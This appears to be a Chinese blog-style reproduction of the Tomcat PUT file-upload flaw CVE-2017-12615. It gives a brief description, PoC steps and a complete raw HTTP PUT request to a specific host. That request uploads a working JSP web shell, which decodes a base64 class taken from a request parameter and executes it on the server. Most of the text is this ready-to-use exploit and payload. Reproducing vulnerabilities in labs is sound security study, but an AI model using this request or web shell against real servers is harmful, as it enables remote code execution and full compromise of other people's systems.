【漏洞复现】Tomcat 任意写入文件漏洞（CVE-2017-12615）

漏洞介绍

Tomcat 启用了 HTTP PUT 请求方法时，攻击者可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件，文件中的代码被服务器执行。

poc

直接抓包，修改请求方式为 PUT，并且设置文件名，然后填充 shell(jsp shell即可)文件内容，发送成功后，服务器返回状态码201 ,说明存在该漏洞

exp

PUT /1.jsp/ HTTP/1.1
Host: 123.58.224.8:42237
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: _ga=GA1.1.300880082.1660178161; _gid=GA1.1.1464323702.1660178161; arp_scroll_position=0; JSESSIONID=2FA02D78241A52F26BD9DE281819C63E
Connection: close
Content-Length: 953

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("1");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>
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